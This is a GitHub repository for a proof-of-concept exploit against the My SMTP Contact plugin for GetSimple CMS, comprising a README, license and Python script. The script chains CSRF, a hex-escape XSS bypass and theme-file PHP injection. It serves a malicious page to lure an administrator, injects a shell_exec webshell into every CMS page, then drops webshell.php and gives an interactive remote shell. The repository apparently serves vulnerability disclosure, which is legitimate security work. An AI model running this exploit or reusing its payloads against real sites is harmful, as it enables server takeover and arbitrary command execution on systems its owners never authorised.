├── gsSMTP-PoC.png ├── LICENSE.md ├── README.md └── gsSmtp-Csrf2Xss2RCE.py /gsSMTP-PoC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boku7/gsSMTP-Csrf2Xss2RCE/HEAD/gsSMTP-PoC.png -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Bobby Cooke 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## GetSimple CMS My SMTP Contact Plugin <= v1.1.1 - CSRF to Stored XSS to RCE 2 | ##### Exploit Author: Bobby Cooke (boku) 3 | 4 | ![](gsSMTP-PoC.png) 5 | 6 | ##### Vulnerability Description: 7 | + The My SMTP Contact v1.1.2 plugin for GetSimple CMS suffers from a Stored Cross-Site Scripting (XSS) vulnerability, that when chained together with the CSRF vulnerability in v1.1.1, allows remote unauthenticated attackers to achieve Remote Code Execution on the hosting server, when an authenticated administrator visits a malicious third party website. The PHP function htmlspecialchars() attempts to sanitize the user-input, but is trivially bypassed by passing the dangerous characters as escaped hex bytes. This allows attackers to breakout of the HTML rendered by the PHP engine, to run arbitrary client-side code within the admins browser; after the admin submits the POST request from the CSRF attack. Since GetSimple CMS suffers from a known PHP code injection vulnerability within the themes edit page, the attacker can ride the admins session to perform a chain of XHR requests within the admins browser. The XHR chain triggered by the CSRF attack will collect the CSRF Token from the themes edit page, and use the token to exploit the PHP Code Injection vulnerability to upload a webshell within every page hosted by the CMS. 8 | ##### Vulnerability Statistics 9 | + CVSS Base Score: 9.6 10 | + CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /gsSmtp-Csrf2Xss2RCE.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: GetSimple CMS My SMTP Contact Plugin <= v1.1.1 - CSRF to Stored XSS to RCE 2 | # Exploit Author: Bobby Cooke (boku) 3 | # Date: April 22nd, 2021 4 | # Vendor Homepage: http://get-simple.info & 5 | # Software Link: http://get-simple.info/download/ 6 | # Version: Exploit <= v1.1.1 | Stored XSS <= v1.1.2 7 | # Tested against Server Host: Windows 10 Pro + XAMPP 8 | # Tested against Client Browsers: Firefox (Linix & Windows), Internet Explorer 9 | # Vendor: NetExplorer 10 | # Exploit Description: 11 | # The My SMTP Contact v1.1.2 plugin for GetSimple CMS suffers from a Stored Cross-Site Scripting (XSS) vulnerability, that when chained together with the CSRF vulnerability in v1.1.1, allows remote unauthenticated attackers to achieve Remote Code Execution on the hosting server, when an authenticated administrator visits a malicious third party website. The PHP function htmlspecialchars() attempts to sanitize the user-input, but is trivially bypassed by passing the dangerous characters as escaped hex bytes. This allows attackers to breakout of the HTML rendered by the PHP engine, to run arbitrary client-side code within the admins browser; after the admin submits the POST request from the CSRF attack. Since GetSimple CMS suffers from a known PHP code injection vulnerability within the themes edit page, the attacker can ride the admins session to perform a chain of XHR requests within the admins browser. The XHR chain triggered by the CSRF attack will collect the CSRF Token from the themes edit page, and use the token to exploit the PHP Code Injection vulnerability to upload a webshell within every page hosted by the CMS. 12 | # Full Disclosure: github.com/boku7/gsSMTP-Csrf2Xss2RCE/ 13 | # CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H 14 | # CVSS Base Score: 9.6 15 | 16 | import argparse,requests 17 | from http.server import BaseHTTPRequestHandler, HTTPServer 18 | from colorama import (Fore as F, Back as B, Style as S) 19 | from threading import Thread 20 | from time import sleep 21 | 22 | FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT 23 | def bullet(char,color): 24 | C=FB if color == 'B' else FR if color == 'R' else FG 25 | return SB+C+'['+ST+SB+char+SB+C+']'+ST+' ' 26 | info,err,ok = bullet('-','B'),bullet('-','R'),bullet('!','G') 27 | 28 | class theTHREADER(object): 29 | def __init__(self, interval=1): 30 | self.interval = interval 31 | thread = Thread(target=self.run, args=()) 32 | thread.daemon = True 33 | thread.start() 34 | def run(self): 35 | run() 36 | 37 | def webshell(target): 38 | try: 39 | websh = "{}/webshell.php".format(target,page) 40 | term = "{}{}BOKU{} > {}".format(SB,FR,FB,ST) 41 | welcome = ' {}{}]{}+++{}[{}========>{} HelloFriend {}<========{}]{}+++{}[{}'.format(SB,FY,FR,FY,FT,FR,FT,FY,FR,FY,ST) 42 | print(welcome) 43 | while True: 44 | specialmove = input(term) 45 | command = {'FierceGodKick': specialmove} 46 | r = requests.post(websh, data=command, verify=False) 47 | status = r.status_code 48 | if status != 200: 49 | r.raise_for_status() 50 | response = r.text 51 | print(response) 52 | except: 53 | pass 54 | 55 | 56 | ''' Breakout of the PHP and inject a --> \x22\x2b\x3e\x3cscript\x3ealert(1)\x3c/script\x3e 59 | PAYLOAD 60 | - Replace alert(1) payload above with the XHR Chain to gain RCE 61 | - XHR Chain first collects the CSRF token on the theme-edit.php page, 62 | then uses the token to inject PHP code into all pages of the CMS via known vulnerable themes component of core application''' 63 | def xhrRcePayload(): 64 | hexBreakoutOpen = '\\x22\\x2b\\x3e\\x3cscript\\x3e' 65 | payload = 'var e=function(i){return encodeURIComponent(i);};' 66 | payload += 'var h=\\x22application/x-www-form-urlencoded\\x22;' 67 | payload += 'var u=\\x22/admin/theme-edit.php\\x22;' 68 | payload += 'var xhr1=new XMLHttpRequest();' 69 | payload += 'var xhr2=new XMLHttpRequest();' 70 | payload += 'xhr1.onreadystatechange=function(){' 71 | payload += 'if(xhr1.readyState==4 \\x26\\x26 xhr1.status==200){' 72 | payload += 'r=this.responseXML;' 73 | payload += 'nVal=r.querySelector(\\x22#nonce\\x22).value;' 74 | payload += 'eVal=r.forms[1][2].defaultValue;' 75 | payload += 'xhr2.open(\\x22POST\\x22,u,true);' 76 | payload += 'xhr2.setRequestHeader(\\x22Content-Type\\x22,h);' 77 | # for the $_REQUEST[solarflare] used for the webshell via shell_exec(), hex-escape the $ or else it will render in the PHP engine to early in the exploit chain 78 | payload += 'payload=e(\\x22\\x3c?php echo shell_exec(\\x24_REQUEST[solarflare]) ?\\x3e\\x22);' 79 | payload += 'params=\\x22nonce=\\x22+nVal+\\x22\\x26content=\\x22+payload+\\x22\\x26edited_file=\\x22+eVal+\\x22\\x26submitsave=Save+Changes\\x22;' 80 | payload += 'xhr2.send(params);' 81 | payload += '}};' 82 | payload += 'xhr1.open(\\x22GET\\x22,u,true);' 83 | payload += 'xhr1.responseType=\\x22document\\x22;' 84 | payload += 'xhr1.send();' 85 | hexBreakoutClose = '\\x3c/script\\x3e' 86 | return hexBreakoutOpen + payload + hexBreakoutClose 87 | 88 | def csrfPayload(): 89 | payload = '
' 90 | payload += '' 91 | payload += '' 92 | payload += '' 93 | payload += '' 94 | payload += '' 95 | payload += '
' 96 | return payload 97 | 98 | class S(BaseHTTPRequestHandler): 99 | def do_GET(self): 100 | victim = self.client_address 101 | victim = "{}:{}".format(victim[0],victim[1]) 102 | print("{} connected to Malicious CSRF Site!".format(victim)) 103 | self.wfile.write("{}".format(csrfPayload()).encode('utf-8')) 104 | 105 | def run(server_class=HTTPServer, handler_class=S, port=80): 106 | server_address = ('', port) 107 | httpd = server_class(server_address, handler_class) 108 | print('{}Hosting CSRF attack & listening for admin to connect..'.format(info)) 109 | try: 110 | httpd.serve_forever() 111 | except KeyboardInterrupt: 112 | pass 113 | httpd.server_close() 114 | print('Stopping httpd...') 115 | 116 | def tryUploadWebshell(target,page): 117 | try: 118 | blind = target+page 119 | # The ^ symbols are required to escape the <> symbols to create the non-blind webshell (^ is an escape for window cmd prompt) 120 | webshUpload = {'solarflare': "echo ^>webshell.php"} 121 | requests.post(url=blind, data=webshUpload, verify=False) 122 | except: 123 | pass 124 | 125 | def checkWebshell(target): 126 | try: 127 | websh = "{}/webshell.php".format(target) 128 | capsule = {'FierceGodKick':'pwnt?'} 129 | resp = requests.post(url=websh, data=capsule, verify=False) 130 | return resp.status_code 131 | except: 132 | pass 133 | 134 | def sig(): 135 | SIG = SB+FY+" .-----.._ ,--.\n" 136 | SIG += FY+" | .. > ___ | | .--.\n" 137 | SIG += FY+" | |.' ,'-'"+FR+"* *"+FY+"'-. |/ /__ __\n" 138 | SIG += FY+" | ) "+FR+" * *"+FY+" / \\ \\\n" 140 | SIG += FY+" |____..- '-.._..-'_|\\___|._..\\___\\\n" 141 | SIG += FY+" _______"+FR+"github.com/boku7"+FY+"_____\n"+ST 142 | return SIG 143 | 144 | def argsetup(): 145 | about = SB+FB+' The My SMTP Contact v1.1.2 plugin for GetSimple CMS suffers from a Stored Cross-Site Scripting (XSS) vulnerability, that when chained together with the CSRF vulnerability in v1.1.1, allows remote unauthenticated attackers to achieve Remote Code Execution on the hosting server, when an authenticated administrator visits a malicious third party website.\n'+ST 146 | about += SB+FC+' CVSS Base Score'+FT+':'+FR+' 9.6 '+FT+'|'+FC+' CVSS v3.1 Vector'+FT+':'+FR+' AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H'+FC 147 | parser = argparse.ArgumentParser(description=about, formatter_class=argparse.RawTextHelpFormatter) 148 | desc1 = ST+FC+'Routable domain name of the target GetSimple CMS instance'+SB 149 | parser.add_argument('Target',type=str,help=desc1) 150 | desc2 = ST+FC+'Path to the public page which implements the CMS theme'+ST 151 | parser.add_argument('PublicPage',type=str,help=desc2) 152 | args = parser.parse_args() 153 | return args 154 | 155 | if __name__ == '__main__': 156 | header = SB+FR+' My SMTP Contact GetSimple CMS Plugin\n' 157 | header += SB+FM+'CSRF '+FT+'-->'+FM+' Stored XSS '+FT+'-->'+FM+' XHR PHP Code Injection '+FT+'-->'+FM+' RCE\n'+ST 158 | header += SB+FT+' '+FR+' Bobby '+FR+'"'+FR+'boku'+FR+'"'+FR+' Cooke\n'+ST 159 | print(header) 160 | args = argsetup() 161 | target = args.Target 162 | page = args.PublicPage 163 | print(sig()) 164 | theTHREADER() 165 | pwnt = checkWebshell(target) 166 | if pwnt != 200: 167 | while pwnt != 200: 168 | sleep(3) 169 | tryUploadWebshell(target,page) 170 | sleep(2) 171 | pwnt = checkWebshell(target) 172 | print("{} A wild webshell appears!".format(ok)) 173 | webshell(target) 174 | 175 | --------------------------------------------------------------------------------